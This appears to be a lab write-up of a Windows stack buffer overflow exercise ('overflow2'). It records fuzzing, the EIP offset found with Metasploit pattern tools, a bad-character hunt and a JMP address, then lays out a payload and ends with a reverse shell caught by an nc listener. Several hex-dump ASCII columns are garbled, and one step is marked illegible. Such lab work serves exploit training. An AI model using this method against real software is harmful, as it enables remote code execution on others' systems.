

overflow2

1. Determine the min size where it crashes the program

```
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing crashed at 700 bytes
[Finished in 17.8s]
```

2. Determine the EIP offset

```
msf-pattern_create -l 700
```

3. Instead of As and Bs, use the msf-pattern



Register	Value
EAX	01A1F7A8
ECX	003255B4
EDX	00000000
EBX	39754138
ESP	01A1FA30
EBP	41307641
ESI	00000000
EDI	00000000
EIP	76413176

4. Determine the offset

```
msf-pattern_offset -q 76413176
```

- Offset: 634

5. EIP offset test

- If offset correct, BBBB will be at the EIP

Registers (FPU)		
EAX	0197F7A8	ASD
ECX	005555B4	
EDX	00000000	
EBX	41414141	
ESP	0197FA30	ASD
EBP	41414141	
ESI	00000000	
EDI	00000000	
EIP	42424242	

6. Determining bad chars

43	43	43	43	43	43	43	01	CCCCCCCC
02	03	04	05	06	07	08	09	0*+&+.-.
0A	0B	0C	0D	0E	0F	10	11	.8..B*4
12	13	14	15	16	17	18	19	+!!q8_+↑↓
1A	1B	1C	1D	1E	1F	20	21	++_#&7†
22	0A	0D	25	26	27	28	29	"..%&'()
2A	2B	2C	2D	2E	2F	30	31	*+,-./01
32	33	34	35	36	37	38	39	23456789
3A	3B	0A	0D	3E	3F	40	41	:.>?@A
42	43	44	45	46	47	48	49	BCDEFGHI
4A	4B	4C	4D	4E	4F	50	51	JKLMNOPQ
52	53	54	55	56	57	58	59	RSTUVWXY
5A	5B	5C	5D	5E	5F	60	61	Z[\]^_`a
62	63	64	65	66	67	68	69	b c d e f g h i
6A	6B	6C	6D	6E	6F	70	71	j k l m n o p q
72	73	74	75	76	77	78	79	r s t u v w x y
7A	7B	7C	7D	7E	7F	80	81	z{ }~`A C U
82	0A	0D	85	86	87	88	89	e..äâçèë
8A	8B	8C	8D	8E	8F	90	91	ë:~!i!ä&E&

- Failed at \x23

7. Remove \x23

```

43 43 43 43 43 43 43 43 CCCCCCCC
01 02 03 04 05 06 07 08 00000000
09 0A 0B 0C 0D 0E 0F 10 ..8..8*
11 12 13 14 15 16 17 18 4+!!q8_+
19 1A 1B 1C 1D 1E 1F 20 +++++L#A
21 22 24 25 26 27 28 29 !" $%&'()
2A 2B 2C 2D 2E 2F 30 31 *+,-./01
32 33 34 35 36 37 38 39 23456789
3A 3B 0A 0D 3E 3F 40 41 :;...>?@A
42 43 44 45 46 47 48 49 BCDEFGHI
4A 4B 4C 4D 4E 4F 50 51 JKLMNOPQ
52 53 54 55 56 57 58 59 RSTUWXYZ
5A 5B 5C 5D 5E 5F 60 61 Z[\]^_`a
62 63 64 65 66 67 68 69 bcdefghi
6A 6B 6C 6D 6E 6F 70 71 jklmnopq
72 73 74 75 76 77 78 79 rstuvwxyz
7A 7B 7C 7D 7E 7F 80 81 z{ | } ^ _ ` a
82 0A 0D 85 86 87 88 89 e...äâçèé

```

- Failed at \x3c

8. Remove \x3c

```

43 01 02 03 04 05 06 07 C0000000
08 09 0A 0B 0C 0D 0E 0F 00000000
10 11 12 13 14 15 16 17 00000000
18 19 1A 1B 1C 1D 1E 1F 00000000
20 21 22 24 25 26 27 28 00000000
29 2A 2B 2C 2D 2E 2F 30 00000000
31 32 33 34 35 36 37 38 12345678
39 3A 3B 3D 3E 3F 40 41 9:;=>?@A
42 43 44 45 46 47 48 49 BCDEFGHI
4A 4B 4C 4D 4E 4F 50 51 JKLMNOPQ
52 53 54 55 56 57 58 59 RSTUWXYZ
5A 5B 5C 5D 5E 5F 60 61 Z[\]^_`a
62 63 64 65 66 67 68 69 bcdefghi
6A 6B 6C 6D 6E 6F 70 71 jklmnopq
72 73 74 75 76 77 78 79 rstuvwxyz
7A 7B 7C 7D 7E 7F 80 81 z{ | } ^ _ ` a
82 0A 0D 85 86 87 88 89 e...äâçèé
8A 8B 8C 8D 8E 8F 90 91 ëìíîïÏÄÅÆ
92 93 94 95 96 97 98 99 Æöøùúûü
9A 9B 9C 9D 9E 9F A0 A1 Üç€¥&f&äi

```

- Failed at \x83

9. Remove \x83

43	43	01	02	03	04	05	06	CC00	0000
07	08	09	0A	0B	0C	0D	0E	.	00000000
0F	10	11	12	13	14	15	16	*	00000000
17	18	19	1A	1B	1C	1D	1E	+	00000000
1F	20	21	22	24	25	26	27	7	00000000
28	29	2A	2B	2C	2D	2E	2F	(00000000
30	31	32	33	34	35	36	37	0	00000000
38	39	3A	3B	3D	3E	3F	40	8	00000000
41	42	43	44	45	46	47	48	A	00000000
49	4A	4B	4C	4D	4E	4F	50	I	00000000
51	52	53	54	55	56	57	58	Q	00000000
59	5A	5B	5C	5D	5E	5F	60	Y	00000000
61	62	63	64	65	66	67	68	a	00000000
69	6A	6B	6C	6D	6E	6F	70	i	00000000
71	72	73	74	75	76	77	78	q	00000000
79	7A	7B	7C	7D	7E	7F	80	y	00000000
81	82	84	85	86	87	88	89	u	00000000
8A	8B	8C	8D	8E	8F	90	91	e	00000000
92	93	94	95	96	97	98	99	R	00000000
9A	9B	9C	9D	9E	9F	A0	A1	ü	00000000
A2	A3	A4	A5	A6	A7	A8	A9	ö	00000000
AA	AB	AC	AD	AE	AF	B0	B1	7	00000000
B2	B3	B4	B5	B6	B7	B8	B9	8	00000000
0A	0D	BC	BD	BE	BF	C0	C1	.	00000000
C2	C3	C4	C5	C6	C7	C8	C9	T	00000000
CA	CB	CC	CD	CE	CF	D0	D1	T	00000000
D2	D3	D4	D5	D6	D7	D8	D9	π	00000000
DA	DB	DC	DD	DE	DF	E0	E1	7	00000000
E2	E3	E4	E5	E6	E7	E8	E9	Γ	00000000
EA	EB	EC	ED	EE	EF	F0	F1	Ω	00000000
F2	F3	F4	F5	F6	F7	F8	F9	Σ	00000000
FA	FB	FC	FD	FE	FF	0D	0A	.	00000000

- Failed at \xBA

10. Remove \xBA

43	43	43	01	02	03	04	05	CCC0000000
06	07	08	09	0A	0B	0C	0D	0000000000
0E	0F	10	11	12	13	14	15	0000000000
16	17	18	19	1A	1B	1C	1D	0000000000
1E	1F	20	21	22	24	25	26	0000000000
27	28	29	2A	2B	2C	2D	2E	0000000000
2F	30	31	32	33	34	35	36	0000000000
37	38	39	3A	3B	3D	3E	3F	0000000000
40	41	42	43	44	45	46	47	0000000000
48	49	4A	4B	4C	4D	4E	4F	0000000000
50	51	52	53	54	55	56	57	0000000000
58	59	5A	5B	5C	5D	5E	5F	0000000000
60	61	62	63	64	65	66	67	0000000000
68	69	6A	6B	6C	6D	6E	6F	0000000000
70	71	72	73	74	75	76	77	0000000000
78	79	7A	7B	7C	7D	7E	7F	0000000000
80	81	82	84	85	86	87	88	0000000000
89	8A	8B	8C	8D	8E	8F	90	0000000000
91	92	93	94	95	96	97	98	0000000000
99	9A	9B	9C	9D	9E	9F	A0	0000000000
A1	A2	A3	A4	A5	A6	A7	A8	0000000000
A9	AA	AB	AC	AD	AE	AF	B0	0000000000
B1	B2	B3	B4	B5	B6	B7	B8	0000000000
B9	BB	BC	BD	BE	BF	C0	C1	0000000000
C2	C3	C4	C5	C6	C7	C8	C9	0000000000
CA	CB	CC	CD	CE	CF	D0	D1	0000000000
D2	D3	D4	D5	D6	D7	D8	D9	0000000000
DA	DB	DC	DD	DE	DF	E0	E1	0000000000
E2	E3	E4	E5	E6	E7	E8	E9	0000000000
EA	EB	EC	ED	EE	EF	F0	F1	0000000000
F2	F3	F4	F5	F6	F7	F8	F9	0000000000
FA	FB	FC	FD	FE	FF	00	0A	0000000000

- Badchars
 - a. \x00
 - b. \x23
 - c. \x3c
 - d. \x83
 - e. \xbA

11. Determine/Select JMP

- Via mona

[illegible]

- ## 12. Replace Bs with the address

- ```

EAX 0198F7A8 ASCII "OVERFLOW2 AAAAAAAAAA
ECX 005555B4
EDX 00000000
EBX 41414141
ESP 0198FA30 ASCII "CCCCCCCCCCCCCCCCCCCC
EBP 41414141
ESI 00000000
EDI 00000000
EIP 625011AF essfunc.625011AF

```

### 13. Create payload with msfvenom

#### 14. Final Payload:

- Add 634 A
- Add return address
- Add 4 C
- Add NOP
- Add shellcode

f. Add D (fill up remaining buffersize)

## 15. Shell obtained

```
(root@kali)-[~/test/bufferOverflow]
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.49.241] from (UNKNOWN) [10.10.204.105] 49290
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>
```